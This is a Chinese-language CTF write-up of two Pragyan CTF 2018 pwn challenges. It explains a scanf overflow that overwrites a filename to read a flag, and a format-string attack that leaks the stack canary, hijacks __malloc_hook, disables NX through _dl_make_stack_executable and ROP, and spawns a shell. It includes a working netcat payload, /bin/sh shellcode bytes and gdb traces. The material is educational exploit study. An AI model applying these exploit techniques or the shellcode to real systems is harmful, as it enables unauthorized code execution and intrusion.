pragyan ctf2018 pwn writeup

Old school hack (200pts)

题目

题目描述

1
2
3
4
5
6
7
Chris is trying out to be a police officer and the applications have just been sent into the police academy.
He is really eager to find out about his competition.
Help it him back the system and view the other applicant’s applications.

The service is running at 128.199.224.175:13000

Hint! Path Traversals are always a classic.

题目链接:

https://github.com/eternalsakura/ctf_pwn/blob/master/pragyan2018/police_academy

前置知识

scanf变量覆盖

程序举例

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
char a,b;
printf("input character a,b\n");
scanf("%s",&a);//bug
printf("%c%c\n",a,b);
return 0;
}

输出结果

1
AA

简单调试
编译程序

1
gcc test.c -g -o test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sakura@ubuntu:~$ gdb test
Loaded 112 commands. Type pwndbg [filter] for a list.
Reading symbols from test...done.
pwndbg> b 5
Breakpoint 1 at 0x4005ff: file test.c, line 5.
pwndbg> r
Starting program: /home/sakura/test
input character a,b
...
pwndbg> n
AAAA
6 printf("%c%c\n",a,b);
...
pwndbg> p a
$1 = 65 'A'
pwndbg> p b
$2 = 65 'A'
pwndbg> c
Continuing.
AA

可以看出函数里本来应该只对a赋值。

1
scanf("%s",&a)

但是b的值也被覆盖为A了,这里其实就可以栈溢出,但是在本题中只需要覆盖栈内变量即可。

分析

checksec

1
2
3
4
5
6
7
8
sakura@ubuntu:~$ checksec police_academy 
[*] '/home/sakura/police_academy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
sakura@ubuntu:~$

64位程序,canary,NX保护

输入密码

密码被硬编码进程序,即kaiokenx20

1
if ( strncmp(&s1, "kaiokenx20", 10uLL) )

栈溢出

文件读取函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 __int64 v8; // [rsp+20h] [rbp-30h]
...
v6 = print_record((const char *)&v8);

signed __int64 __fastcall print_record(const char *a1)
{
FILE *stream; // [rsp+18h] [rbp-338h]
char ptr; // [rsp+20h] [rbp-330h]
unsigned __int64 v4; // [rsp+348h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( (unsigned int)strlen(a1) != 36 ) // 文件名要等于36字节
return 0xFFFFFFFFLL;
stream = fopen(a1, "r");
if ( !stream )
return 0xFFFFFFFFLL;
printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "r");
puts("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
fread(&ptr, 0x30CuLL, 1uLL, stream);
printf("%s", &ptr);
printf("\n\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
fclose(stream);
return 0LL;
}

这个函数的作用就是根据文件名读取文件,这个文件名本来是根据我们的选项(1-7)来决定的,比如如果是7,则v8 = ‘txt.galf’。
但是可以看出,如果我们输入的数在1-7之外,那么就不会对v8赋值,如果我们通过前面的scanf直接把v8的值覆盖成我们想要读取的文件名(flag.txt),那么就可以读取到flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 1:
v8 = 3474298655558951218LL;
v9 = 3847821640488804656LL;
v10 = 7149858464072819505LL;
v11 = 7221017546570621237LL;
v12 = 1952539694;
v13 = 0;
break;
case 2:
v8 = 7147605565415700579LL;
v9 = 3631416849257871156LL;
v10 = 4121973650644951905LL;
v3 = (int *)4049125503535429937LL;
v11 = 4049125503535429937LL;
v12 = 1952539694;
v13 = 0;
break;
case 3:
v8 = 0x3233613163393238LL;
v9 = 3702634411308757558LL;
v3 = (int *)7076898166606619443LL;
v10 = 7076898166606619443LL;
v11 = 7219893850032333154LL;
v12 = 1952539694;
v13 = 0;
break;
case 4:
v8 = 7221577417837786465LL;
v3 = (int *)7363447393777498210LL;
v9 = 7363447393777498210LL;
v10 = 7017788206782754871LL;
v11 = '06491899';
v12 = 'tad.';
v13 = 0;
break;
case 5:
v8 = 'cb7eb354';
v9 = 7147275711155430960LL;
v10 = 7076672766706148656LL;
v3 = (int *)3486685753473249589LL;
v11 = 3486685753473249589LL;
v12 = 1952539694;
v13 = 0;
break;
case 6:
v8 = 0331433146246314630463LL;
v9 = 'b5d57a29';
v3 = (int *)'a7e6a65d';
v10 = 'a7e6a65d';
v11 = 'c721627f';
v12 = 'tad.';
v13 = 0;
break;
case 7:
v8 = 'txt.galf';
LOBYTE(v9) = 0;
puts("You don't have the required privileges to view the flag, yet.");
exit(0);
return result;
default:
break;
}

长度校验

1
2
if ( (unsigned int)strlen(a1) != 36 ) 
return 0xFFFFFFFFLL;

因为我们提供的v8的文件名要等于36字节,但是flag.txt没有那么长,所以这里,我们可以用./././..来填充。

利用

利用思路

首先用scanf覆盖是s1的值为密码(kaiokenx20)+padding,覆盖v8的值为././././././././././././././flag.txt,然后读取flag。

确定填充值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
char s1; // [rsp+10h] [rbp-40h]
__int64 v8; // [rsp+20h] [rbp-30h]
...
...
...
__isoc99_scanf("%s", &s1);
...
...
...
-0000000000000040 s1 db ?
-000000000000003F db ? ; undefined
-000000000000003E db ? ; undefined
-000000000000003D db ? ; undefined
-000000000000003C db ? ; undefined
-000000000000003B db ? ; undefined
-000000000000003A db ? ; undefined
-0000000000000039 db ? ; undefined
-0000000000000038 db ? ; undefined
-0000000000000037 db ? ; undefined
-0000000000000036 db ? ; undefined
-0000000000000035 db ? ; undefined
-0000000000000034 db ? ; undefined
-0000000000000033 db ? ; undefined
-0000000000000032 db ? ; undefined
-0000000000000031 db ? ; undefined
-0000000000000030 var_30 dq ?
-0000000000000028 anonymous_0 dq ?
-0000000000000020 anonymous_1 dq ?
-0000000000000018 anonymous_2 dq ?
-0000000000000010 anonymous_3 dd ?
-000000000000000C anonymous_4 db ?
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

s1需填充0x10即16个字节,v8填充36个字节。

exp

1
python -c 'print "kaiokenx20\x00"+"\x00"*5+"././././././././././././././flag.txt\x00\n"+"8"'|nc 128.199.224.175 13000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sakura@ubuntu:~$ python -c 'print "kaiokenx20\x00"+"\x00"*5+"././././././././././././././flag.txt\x00\n"+"8"'|nc 128.199.224.175 13000

Enter password to authentic yourself : Enter case number:

1) Application_1
2) Application_2
3) Application_3
4) Application_4
5) Application_5
6) Application_6
7) Flag

Enter choice :-
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

The flag is :- pctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}
r�

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Unbreakable encryption (350pts)

题目

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
Your friend, Liara, has encrypted all her life secrets, using the one of the best encryptions available in the world, the AES. She has challenged you that no matter what, you can never read her life secrets.

The encryption service is running at :- 128.199.224.175:33000
The binary file is named aes_enc.

Her encrypted life secrets are as follows :-

0000 - 40 87 68 1a b0 23 73 c4 61 44 b4 c0 21 f1 63 0b @.h..#s.aD..!.c.
0010 - 73 e9 0d 38 e4 bd d8 33 41 64 2c 43 85 d4 54 0e s..8...3Ad,C..T.
0020 - f5 bc 8c 02 db ee 0d e8 d6 29 81 3a 5f cb 63 bd .........).:_.c.


Note: Since some teams were having issues with the buffering of the I/O streams when executing the binary remotely, we have updated the binary file, to flush the output streams properly. The modified binary is named aes_enc_unbf, and will be running on 128.199.224.175:33100

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/pragyan2018/unbreakable_encryption

前置知识

格式化字符串漏洞原理

pwn题中,有形如下述代码的形式就是格式化字符串漏洞

1
2
3
char str[100];
scanf("%s",str);
printf(str)

也许使用者的目的只是直接输出字符串,但是这段字符串来源于可控的输入,就造成了漏洞。
示例程序如下

1
2
3
4
5
6
#include <stdio.h>
int main(){
char str[100];
scanf("%s",str);
printf(str)
}

编译:gcc -m32 -o str str.c
输入:%2$x


原因是如果直接printf(“占位符”)这种形式,就会把栈上的偏移当做数据输出出来。通过构造格式化串,就可以实现任意地址读和任意地址写。

任意地址读

事实上,我们在scanf(或者read)来输入字符串的时候,字符串就已经在栈中了,如图,可以看出偏移为6。如果我们构造出addr(4字节)%6$s,就能读取这个地址的值了。

我们尝试一下,输入AAAA%6$s,当然不可能真的读到地址为41414141的内存值,不过从下图我框起来的内容就知道,如果我们输入一个合法的值,就可以读了。

任意地址写

和上面的任意地址读是同理的,只不过利用了格式化字符串的一个比较冷门的特性,%n。
这个占位符可以把它前面输出的字符的数量,写入指定的地址。
比如

1
printf("abc%n", &val);

val的值就被改变为3。

64位格式化字符串

下述示例来源于RE4B。

1
2
3
4
5
6
#include <stdio.h>
int main() {
printf("a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d
", 1, 2, 3, 4, 5, 6, 7, 8);
return 0;
};

linux上优先使用RDI,RSI,RDX,RCX,R8,R9寄存器传递前6个参数,然后利用栈传递其余参数。
汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.LC0:
.string "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d
"

main:
sub rsp, 40

mov r9d, 5 #第6个参数
mov r8d, 4 #第5个参数
mov ecx, 3 #第4参数
mov edx, 2 #第3个参数
mov esi, 1 #第2个参数
mov edi, OFFSET FLAT:.LC0 #第1个参数
xor eax, eax ; number of vector registers passed
mov DWORD PTR [rsp+16], 8 #第9个参数
mov DWORD PTR [rsp+8], 7 #第8个参数
mov DWORD PTR [rsp], 6 #第7个参数
call printf

; return 0

xor eax, eax
add rsp, 40
ret

所以有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) info registers
rax 0x0 0
rbx 0x0 0
rcx 0x3 3
rdx 0x2 2
rsi 0x1 1
rdi 0x400628 4195880
rbp 0x7fffffffdf60 0x7fffffffdf60
rsp 0x7fffffffdf38 0x7fffffffdf38
r8 0x4 4
r9 0x5 5
r10 0x7fffffffdce0 140737488346336
r11 0x7ffff7a65f60 140737348263776
r12 0x400440 4195392
r13 0x7fffffffe040 140737488347200
r14 0x0 0
r15 0x0 0
rip 0x7ffff7a65f60 0x7ffff7a65f60 <__printf>
...
1
2
3
4
5
6
(gdb) x/10g $rsp
0x7fffffffdf38: 0x0000000000400576 -> 返回地址 0x0000000000000006
0x7fffffffdf48: 0x0000000000000007 0x00007fff00000008
0x7fffffffdf58: 0x0000000000000000 0x0000000000000000
0x7fffffffdf68: 0x00007ffff7a33de5 0x0000000000000000
0x7fffffffdf78: 0x00007fffffffe048 0x0000000100000000

所以在64位格式化字符串漏洞利用时,要注意如何计算偏移,因为即使没有占位符,我们依然是按照这个传参规则来读取变量的。

pwntools

fmtstr

上面说过我们要利用格式化串漏洞就要得到格式化串的偏移,pwntools有自动化代码可以得到这个偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-

from pwn import *

def exec_fmt(payload):
p = process(program)
p.sendline(payload)
info = p.recv()
p.close()
return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset

fmtstr_payload

生成任意地址写的payload的函数.

1
fmtstr_payload(offset, {key: value})

fmtstr_payload有两个参数

  • 第一个参数是int,用于表示取参数的偏移个数
  • 第二个参数是字典,字典的意义是往key的地址,写入value的值

分析

checksec

1
2
3
4
5
6
7
sakura@ubuntu:~/unbreakable_encryption$ checksec aes_enc_unbf 
[*] '/home/sakura/unbreakable_encryption/aes_enc_unbf'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

静态链接

1
2
sakura@ubuntu:~/unbreakable_encryption$ ldd aes_enc_unbf 
not a dynamic executable

程序功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sakura@ubuntu:~/unbreakable_encryption$ ./aes_enc_unbf 

Enter message :-
sakura

Your message is :-
sakura


The encrypted message for the given plaintext is :-
0000 - b2 c4 08 6e 77 66 cb 59-b3 6a 4a 8b ed 35 98 05 ...nwf.Y.jJ..5..

Decrypted text is:
sakura

读取输入并打印,并将其传递给encrypt,加载aes文件,加密消息并将其输出到屏幕。
然后它调用decrypt解密,并将明文输出到屏幕上。

栈溢出

1
2
3
4
5
6
7
8
9
char v5; // [esp+Ch] [ebp-8Ch]
char v6; // [esp+8Bh] [ebp-Dh]
unsigned int v7; // [esp+8Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
putchar(10);
puts("Enter message :- ");
fflush(stdout);
_isoc99_scanf("%s", (unsigned int)&v5); //bug

scanf处存在栈溢出,上一个题的前置知识已经说过了。
不过这个题因为有canary,所以不能用来直接getshell,我们要想其他方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sakura@ubuntu:~/unbreakable_encryption$ ./aes_enc_unbf 

Enter message :-
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Your message is :-
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A


The encrypted message for the given plaintext is :-
0000 - d5 55 d2 b4 58 fb d3 04-16 cd 58 fb 63 0f ea 16 .U..X.....X.c...
0010 - 9f ce d0 d3 0a 9a 15 c8-ab aa 76 69 00 18 78 1b ..........vi..x.
0020 - e6 1d c0 01 bf 44 f1 e5-dc 22 ba 2a ae d2 e3 f4 .....D...".*....
0030 - 39 7b fb f1 fb 99 79 b7-b9 16 f7 37 3d a1 4c 38 9{....y....7=.L8
0040 - 16 75 9d b2 23 60 0a a2-91 12 7c 22 e2 8e 90 83 .u..#`....|"....
0050 - b1 60 46 2d 7b e3 18 12-65 62 85 db e5 95 fe 1f .`F-{...eb......
0060 - b2 11 7e 38 43 05 4f d2-28 84 5a c7 39 2c 06 41 ..~8C.O.(.Z.9,.A
0070 - f1 ee 61 c6 1c b6 e7 52-b3 fd 8c 30 16 bb 6c 38 ..a....R...0..l8

Decrypted text is:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A

*** stack smashing detected ***: ./aes_enc_unbf terminated
Aborted (core dumped)

格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v5; // [esp+Ch] [ebp-8Ch]
char v6; // [esp+8Bh] [ebp-Dh]
unsigned int v7; // [esp+8Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
putchar(10);
puts("Enter message :- ");
fflush(stdout);
_isoc99_scanf("%s", (unsigned int)&v5);
v6 = 0;
fflush(stdout);
puts("\nYour message is :- ");
printf(&v5);//bug

利用

利用思路

因为静态链接,所以不能改写GOT表,考虑使用malloc_hook来解题,可以参考0ctf的easiestprintf。
其次因为有canary,所以要先leak出canary。
所以总的思路就出来了:

  1. 通过格式化字符串的任意地址读写leak出canary的值,并劫持malloc_hook,使其指向main函数。
    这样当执行malloc的时候,就会跳回main函数,然后重新执行程序。
  2. 然后我们修改_stack_prot的值为0x7,之后再次跳回main函数。
  3. 最后将malloc_hook的值还原为0,不再跳回main函数,然后因为之前已经leak出了canary的值,就可以触发栈溢出,将返回地址设置为_dl_make_stack_executable,并传入参数_libc_stack_end,因为之前_stack_prot的值已经被设置为0x7,这个函数将会使得栈可执行,取消NX保护,最后跳回我们预先写好的shellcode就可以getshell了。

    准备shellcode

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    0x1000:	xor		eax, eax
    0x1002: push eax
    0x1003: push 0x68732f2f
    0x1008: push 0x6e69622f
    0x100d: push eax
    0x100e: push eax
    0x100f: pop ecx
    0x1010: pop edx
    0x1011: mov ebx, esp
    0x1013: push 0x5b
    0x1015: pop eax
    0x1016: xor al, 0x50
    0x1018: int 0x80
    0x101a:
    1
    \x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x50\x50\x59\x5A\x89\xE3\x6A\x5B\x58\x34\x50\xCD\x80

    准备参数

  • dl_make_stack_executable

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    unsigned int __usercall dl_make_stack_executable@<eax>(_DWORD *a1@<eax>)
    {
    _DWORD *v1; // ebx
    unsigned int result; // eax

    if ( *a1 != _libc_stack_end )
    return 1;
    v1 = a1;
    result = mprotect(*a1 & -dl_pagesize, dl_pagesize, _stack_prot);
    if ( result )
    return __readgsdword(0xFFFFFFE8);
    *v1 = 0;
    dl_stack_flags |= 1u;
    return result;
    }

    参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode了。
    直接search。

    1
    2
    3
    _libc_stack_end = 0x0822ECE8
    __stack_prot = 0x0822EC98
    _dl_make_stack_executable = 0x081715D0
  • malloc_hook

  • main

  • pop_eax

    1
    2
    3
    4
    5
    6
    sakura@ubuntu:~/unbreakable_encryption$ ROPgadget --binary aes_enc_unbf --only "pop|ret"|grep eax
    0x0813ed14 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x0817b0ea : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x0804c906 : pop eax ; ret
    0x0818f350 : pop eax ; ret 0xffe4
    0x0817b0e9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

    pop_eax = 0x0804c906

  • jmp_esp

    1
    2
    sakura@ubuntu:~/unbreakable_encryption$ ROPgadget --binary aes_enc_unbf --only "jmp"|grep esp
    0x08174bec : jmp esp

    jmp_esp = 0x08174bec

确定偏移

要确定偏移需要多次调试,没有什么好的方法。
这里我也是把已经调试好的偏移直接带入跟了一遍而已。
要在pwntools里用gdb调试,首先要先设置好断点文件,然后gdb.attach(r,open(filename))
得到断点文件的方法如下。

1
2
3
gef➤  b *0x8048d73
Breakpoint 1 at 0x8048d73
gef➤ save breakpoints filename

然后执行程序

1
2
3
4
5
6
7
root@ubuntu:/home/sakura/unbreakable_encryption# python exp.py 1
[+] Starting local process './aes_enc_unbf': pid 25217
debug?
[*] X: 0x804
[*] Y: 0x84dc
[*] running in new terminal: /usr/bin/gdb -q "/home/sakura/unbreakable_encryption/aes_enc_unbf" 25217 -x "/tmp/pwndl_JQG.gdb"
[+] Waiting for debugger: Done
1
2
3
4
Breakpoint 1 at 0x8048d73
gef➤ c
Continuing.
gef➤ si
1
2
3
4
5
6
7
8
9
10
───────────────────────────────────────────────────────────────[ code:i386 ]────
0x81115cb <__correctly_grouped_prefixmb+715> jmp 0x8111578 <__correctly_grouped_prefixmb+632>
0x81115cd xchg ax, ax
0x81115cf nop
→ 0x81115d0 <printf+0> sub esp, 0xc
0x81115d3 <printf+3> lea eax, [esp+0x14]
0x81115d7 <printf+7> sub esp, 0x4
0x81115da <printf+10> push eax
0x81115db <printf+11> push DWORD PTR [esp+0x18]
0x81115df <printf+15> push DWORD PTR ds:0x8230538


printf执行完后,malloc_hook等于main函数的首地址。

1
2
gef➤  x /gx 0x08230598
0x8230598 <__malloc_hook>: 0x0000000008048ce0

跳回main函数,为了确定跳回,先在main下个断点

1
2
gef➤  b *0x08048CE0
gef➤ c


继续执行,断在printf

1
2
gef➤  c
gef➤ si # 我这里si的目的是步入printf,不过其实没什么用,不步入的话esp就不指向返回地址,而是格式化串本身。


注意hhn代表只覆盖单字节。
这次printf结束之后,__stack_prot的值被修改为7。

1
2
gef➤  x/gx 0x0822EC98
0x822ec98 <__stack_prot>: 0x0000000000000007

继续c还会再跳回main函数,因为malloc_hook还指向main函数。

1
2
3
4
5
6
7
8
9
gef➤  c
Continuing.
...
→ 0x8048ce0 <main+0> lea ecx, [esp+0x4]
0x8048ce4 <main+4> and esp, 0xfffffff0
0x8048ce7 <main+7> push DWORD PTR [ecx-0x4]
0x8048cea <main+10> push ebp
0x8048ceb <main+11> mov ebp, esp
0x8048ced <main+13> push ecx

继续c,执行到printf,这次我不再步入printf里,所以esp就指向格式化串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
gef➤  stack 60
0xffffcfa0│+0x00: 0xffffcfbc 格式化字符串
0xffffcfa4│+0x04: 0xffffcfbc offset 1
0xffffcfa8│+0x08: 0x00000000 offset 2
0xffffcfac│+0x0c: 0xffffffff offset 3
0xffffcfb0│+0x10: 0x00000000 offset 4
0xffffcfb4│+0x14: 0x00000000 offset 5
0xffffcfb8│+0x18: 0x0000000a offset 6
0xffffcfbc│+0x1c: 0x08230598 offset 7
0xffffcfc0│+0x20: 0x08230599 offset 8
0xffffcfc4│+0x24: 0x0823059a offset 9
0xffffcfc8│+0x28: 0x0823059b offset 10
0xffffcfcc│+0x2c: "%240u%7$hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAA[...]"
0xffffcfd0│+0x30: "u%7$hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAA[...]"
0xffffcfd4│+0x34: "hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAA[...]"
0xffffcfd8│+0x38: "256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAA[...]"
0xffffcfdc│+0x3c: "%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfe0│+0x40: "hn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfe4│+0x44: "12u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfe8│+0x48: "9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfec│+0x4c: "n%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcff0│+0x50: "8u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcff4│+0x54: "0$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcff8│+0x58: "nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcffc│+0x5c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd000│+0x60: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd004│+0x64: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd008│+0x68: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd00c│+0x6c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd010│+0x70: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd014│+0x74: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd018│+0x78: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd01c│+0x7c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd020│+0x80: "AAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd024│+0x84: "AAAAAAAAAAAAAAAAAAAAAAA"
0xffffd028│+0x88: "AAAAAAAAAAAAAAAAAAA"
0xffffd02c│+0x8c: "AAAAAAAAAAAAAAA"
0xffffd030│+0x90: "AAAAAAAAAAA"
0xffffd034│+0x94: "AAAAAAA"
0xffffd038│+0x98: 0x00414141 ("AAA"?)
0xffffd03c│+0x9c: 0x12cda400 ## canary ##
0xffffd040│+0xa0: 0x42424242
0xffffd044│+0xa4: 0xffffd04c0x0822ece80xffffd6bc0x00000000
0xffffd048│+0xa8: 0x0804c906 → <EVP_CIPHER_CTX_key_length+6> pop eax ← $ebp
0xffffd04c│+0xac: 0x0822ece80xffffd6bc0x00000000
0xffffd050│+0xb0: 0x081715d0 → <_dl_make_stack_executable+0> push esi
0xffffd054│+0xb4: 0x08174bec → <____strtof_l_internal+7900> jmp esp
0xffffd058│+0xb8: 0x6850c031 ## shellcode ##
0xffffd05c│+0xbc: 0x68732f2f
0xffffd060│+0xc0: 0x69622f68
0xffffd064│+0xc4: 0x5950506e
0xffffd068│+0xc8: 0x6ae3895a
0xffffd06c│+0xcc: 0x5034585b
0xffffd070│+0xd0: 0x000080cd
0xffffd074│+0xd4: 0x080481c8 → <_init+0> push ebx

printf执行完成后,malloc_hook已经恢复为0,不再会跳回main了,另外可以看出我们的leak出的canary和shellcode已经写入了栈里,实现了栈溢出。

1
2
gef➤  x /gx 0x08230598
0x8230598 <__malloc_hook>: 0x0000000000000000

当main函数执行结束,要ret的时候,就返回到我们布置好的利用链里。

1
2
3
4
5
6
7
0xffffd048│+0x00: 0x0804c906  →  <EVP_CIPHER_CTX_key_length+6> pop eax	 ← $esp
0xffffd04c│+0x04: 0x0822ece8 → 0xffffd6bc → 0x00000000 ← $ecx
0xffffd050│+0x08: 0x081715d0 → <_dl_make_stack_executable+0> push esi
0xffffd054│+0x0c: 0x08174bec → <____strtof_l_internal+7900> jmp esp
0xffffd058│+0x10: 0x6850c031
0xffffd05c│+0x14: 0x68732f2f
0xffffd060│+0x18: 0x69622f68

1
$eax   : 0x0822ece8  →  0xffffd6bc  →  0x00000000


栈可执行打开,并跳入shellcode执行。

1
→ 0xffffd070                  int    0x80

getshell

exp来源phieulang1993

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sakura@ubuntu:~/unbreakable_encryption$ vim exp.py 
sakura@ubuntu:~/unbreakable_encryption$ python exp.py 2
[+] Opening connection to 128.199.224.175 on port 33100: Done
[*] X: 0x804
[*] Y: 0x84dc
[*] \x98�\x9a\x05\x98\x05%7$n%2040x%8$hn%34012x%9$hnXXXX|%39$p|%41$p|YYYY
[*] canary: 0xd7f0b100
[*] stack: 0xffd88bb0
[*] \x98�%259u%7$hhn
[*] Switching to interactive mode
$


Your message is :-
\x98\x05\x99\x05\x9a\x05\x9b\x05 4292380012 0 4294967295 0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$

The encrypted message for the given plaintext is :-
0000 - c5 27 69 67 81 b4 d5 26-dc ad 96 83 82 d5 c2 9c .'ig...&........
0010 - b7 62 f0 37 04 b8 7f 63-8a 21 2c 23 51 42 5d d2 .b.7...c.!,#QB].
0020 - c5 71 36 e2 ce 57 59 5c-1b 1b 3d 1e 23 69 65 a3 .q6..WY\..=.#ie.
0030 - 0e 20 af 87 59 5c 50 eb-c7 64 5e 9c 72 ef ed df . ..Y\P..d^.r...
0040 - ef 96 47 d8 c6 7f 44 4d-e7 8e 38 ee f2 10 af 95 ..G...DM..8.....
0050 - 3e 72 7b 42 84 54 72 55-c5 27 9c c4 02 28 51 79 >r{B.TrU.'...(Qy
